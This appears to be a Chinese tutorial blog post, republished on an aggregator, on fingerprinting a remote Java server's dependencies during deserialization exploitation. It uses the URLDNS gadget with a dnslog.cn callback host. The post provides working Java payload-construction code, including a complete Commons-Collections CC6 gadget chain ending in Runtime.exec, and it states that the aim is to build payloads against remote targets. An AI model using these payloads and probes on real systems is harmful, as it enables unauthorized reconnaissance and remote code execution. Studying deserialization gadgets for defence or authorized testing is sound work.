dnslog检测远程依赖

2024-01-04 03:44
文章标签 依赖 检测 远程 dnslog

本文主要是介绍dnslog检测远程依赖,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

有时候我们发现远程有一个反序列化的漏洞,但是我们不知道有什么依赖,如果单纯的盲打反序列化链就要一个个试,如果知道依赖了以后我们也方便本地构造payload

原理

普通的dnslog请求payload

        URL url = new URL("http://aaaa.fnht9d.dnslog.cn");HashMap hashMap = new HashMap();Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class});putVal.setAccessible(true);putVal.invoke(hashMap,new Object[]{0,url,"a",false,false});serialize(hashMap);

HashMap是个key value得键值对,然后会调用hash(key)来触发dnslog,之前value我们都是随便传的,但是实际上我们可以利用这个value来探测依赖
我们这里随便传入一个本地才有的class,demo

 public static HashMap getURLDNSGadget(String urls, Class clazz) throws Exception{HashMap hashMap = new HashMap();URL url = new URL(urls);Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class});putVal.setAccessible(true);putVal.invoke(hashMap,new Object[]{0,url,clazz,false,false});return hashMap;}HashMap test=getURLDNSGadget("http://testaa.fnht9d.dnslog.cn",demo.class);serialize(test);

我们可以看到HashMap的readobejct里面,他是先把对应的key value反序列化出来再调用hash这个函数触发dnslog,如果value反序列化失败了,那么就不会有log了
截屏2023-12-23 12.04.27.png
所以这里可以看到远程报错,然后就没有dnslog请求
截屏2023-12-23 12.05.32.png
如果传入一个存在的类,比如说jdk里面自带的Map,就可以发现成功获取到dnslog

  HashMap test=getURLDNSGadget("http://testaa.fnht9d.dnslog.cn",Map.class);serialize(test);

截屏2023-12-23 12.06.46.png

cc链依赖

以cc6为例

ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class);InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null});InvokerTransformer invokeMethod = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null});InvokerTransformer execMethod = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"code"});ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer,getMethod,invokeMethod,execMethod});Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"b");HashMap hashMap = new HashMap();Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class});putVal.setAccessible(true);putVal.invoke(hashMap,new Object[]{0,tiedMapEntry,"a",false,false});serialize(hashMap);deserialize();

这里面可以看到有ConstantTransformer InvokerTransformer ChainedTransformer LazyMap TiedMapEntry commons-collection3.2.1里面的依赖
HashMap jdk的依赖
一般我们探测的原则就是非jdk自带的依赖,在这里我们只需要探测是否有commons-collection3.2.1即可

 HashMap test=getURLDNSGadget("http://testaa.fnht9d.dnslog.cn",InvokerTransformer.class);serialize(test);

但是我们这样写有一个问题,如果我们本地生成序列化payload的时候有3.2.1 4版本的,很容易分不清到底是哪个版本
所以我们调整一下,下面这种写法就可以比较清晰的看到具体的版本依赖了

public static HashMap getURLDNSGadget(String urls, String clazzName) throws Exception{HashMap hashMap = new HashMap();URL url = new URL(urls);Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class});putVal.setAccessible(true);putVal.invoke(hashMap,new Object[]{0,url,Class.forName(clazzName),false,false});return hashMap;}HashMap test=getURLDNSGadget("http://testaa.fnht9d.dnslog.cn","org.apache.commons.collections.functors.ChainedTransformer");serialize(test);

当然细心的朋友可能会问,如果只是类,就无法探测是commons-collection 3.2.1还是commons-collection 3.2.2,那么再调整一下

public static HashMap getURLDNSGadget(String urls, Object object) throws Exception{HashMap hashMap = new HashMap();URL url = new URL(urls);Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class});putVal.setAccessible(true);putVal.invoke(hashMap,new Object[]{0,url,object,false,false});return hashMap;}
HashMap test=getURLDNSGadget("http://testaaaaaa.fnht9d.dnslog.cn",new InvokerTransformer("a",null,null));serialize(test);

如果远程是commons-collection.3.2.2以上,就会报错,收不到dnslog请求
截屏2023-12-23 12.19.26.png

这篇关于dnslog检测远程依赖的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/568058

相关文章

OpenCV实现实时颜色检测的示例

《OpenCV实现实时颜色检测的示例》本文主要介绍了OpenCV实现实时颜色检测的示例,通过HSV色彩空间转换和色调范围判断实现红黄绿蓝颜色检测,包含视频捕捉、区域标记、颜色分析等功能,具有一定的参考... 目录一、引言二、系统概述三、代码解析1. 导入库2. 颜色识别函数3. 主程序循环四、HSV色彩空间

Python pip下载包及所有依赖到指定文件夹的步骤说明

《Pythonpip下载包及所有依赖到指定文件夹的步骤说明》为了方便开发和部署,我们常常需要将Python项目所依赖的第三方包导出到本地文件夹中,:本文主要介绍Pythonpip下载包及所有依... 目录步骤说明命令格式示例参数说明离线安装方法注意事项总结要使用pip下载包及其所有依赖到指定文件夹,请按照以

Python远程控制MySQL的完整指南

《Python远程控制MySQL的完整指南》MySQL是最流行的关系型数据库之一,Python通过多种方式可以与MySQL进行交互,下面小编就为大家详细介绍一下Python操作MySQL的常用方法和最... 目录1. 准备工作2. 连接mysql数据库使用mysql-connector使用PyMySQL3.

Linux使用scp进行远程目录文件复制的详细步骤和示例

《Linux使用scp进行远程目录文件复制的详细步骤和示例》在Linux系统中,scp(安全复制协议)是一个使用SSH(安全外壳协议)进行文件和目录安全传输的命令,它允许在远程主机之间复制文件和目录,... 目录1. 什么是scp?2. 语法3. 示例示例 1: 复制本地目录到远程主机示例 2: 复制远程主

IDEA如何实现远程断点调试jar包

《IDEA如何实现远程断点调试jar包》:本文主要介绍IDEA如何实现远程断点调试jar包的问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录问题步骤总结问题以jar包的形式运行Spring Boot项目时报错,但是在IDEA开发环境javascript下编译

Java -jar命令如何运行外部依赖JAR包

《Java-jar命令如何运行外部依赖JAR包》在Java应用部署中,java-jar命令是启动可执行JAR包的标准方式,但当应用需要依赖外部JAR文件时,直接使用java-jar会面临类加载困... 目录引言:外部依赖JAR的必要性一、问题本质:类加载机制的限制1. Java -jar的默认行为2. 类加

java -jar命令运行 jar包时运行外部依赖jar包的场景分析

《java-jar命令运行jar包时运行外部依赖jar包的场景分析》:本文主要介绍java-jar命令运行jar包时运行外部依赖jar包的场景分析,本文给大家介绍的非常详细,对大家的学习或工作... 目录Java -jar命令运行 jar包时如何运行外部依赖jar包场景:解决:方法一、启动参数添加: -Xb

C#实现访问远程硬盘的图文教程

《C#实现访问远程硬盘的图文教程》在现实场景中,我们经常用到远程桌面功能,而在某些场景下,我们需要使用类似的远程硬盘功能,这样能非常方便地操作对方电脑磁盘的目录、以及传送文件,这次我们将给出一个完整的... 目录引言一. 远程硬盘功能展示二. 远程硬盘代码实现1. 底层业务通信实现2. UI 实现三. De

Maven 依赖发布与仓库治理的过程解析

《Maven依赖发布与仓库治理的过程解析》:本文主要介绍Maven依赖发布与仓库治理的过程解析,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下... 目录Maven 依赖发布与仓库治理引言第一章:distributionManagement配置的工程化实践1

Spring三级缓存解决循环依赖的解析过程

《Spring三级缓存解决循环依赖的解析过程》:本文主要介绍Spring三级缓存解决循环依赖的解析过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、循环依赖场景二、三级缓存定义三、解决流程(以ServiceA和ServiceB为例)四、关键机制详解五、设计约